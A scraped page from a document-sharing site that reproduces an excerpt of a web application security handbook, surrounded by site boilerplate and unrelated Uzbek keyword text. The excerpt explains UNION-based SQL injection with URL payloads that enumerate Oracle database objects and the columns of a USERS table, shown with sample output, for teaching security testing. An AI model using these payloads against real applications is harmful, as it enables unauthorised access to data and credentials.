The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws



Download 5,76 Mb.
Pdf ko'rish
bet467/875
Sana01.01.2022
Hajmi5,76 Mb.
#293004
1   ...   463   464   465   466   467   468   469   470   ...   875
Bog'liq
3794 1008 4334

ID

EMPLOYEE

JOB

7521


WARD

SALESMAN


a

We now have a means of extracting string data from the database. Our next

step is to find out the names of the database tables that may contain interest-

ing information. We can do this by querying the 

user_objects

table, which

displays details of user-defined tables and other items:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,

object_name,object_type,NULL%20from%20user_objects--

ID

EMPLOYEE

JOB

7521


WARD

SALESMAN


BONUS

TABLE


DEPT

TABLE


EMP

TABLE


EMP_GETDATA

PROCEDURE

EMP_TABLE

SYNONYM


GETEMP

PROCEDURE

HIGHSCORE

TABLE


PK_DEPT

INDEX


PK_EMP

INDEX


REMOTE.US.ORACLE.COM

DATABASE LINK

REMOTE.WARGAMES

DATABASE LINK

SALGRADE

TABLE


SCANAPORT

PROCEDURE

TEST123.WARGAMES

DATABASE LINK

USERS

TABLE


258

Chapter 9 



Injecting Code

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 258



N OT E

Here we have queried the 

user_objects



table, which returns all the

objects owned by the web application’s database user. You can also query

all_user_objects



, which will return all of the objects that are visible by that

user, even if not owned by it.

Many of these tables may contain sensitive data, including information

about employees that we cannot legitimately access given our privilege level.

An obvious point of initial attack is the table called 

USERS

, which may contain



credentials. We can discover the names of the columns within this table by

querying the 

user_tab_columns

table:


https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,

column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20%

3d%20’USERS’--


Download 5,76 Mb.

Do'stlaringiz bilan baham:
1   ...   463   464   465   466   467   468   469   470   ...   875




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish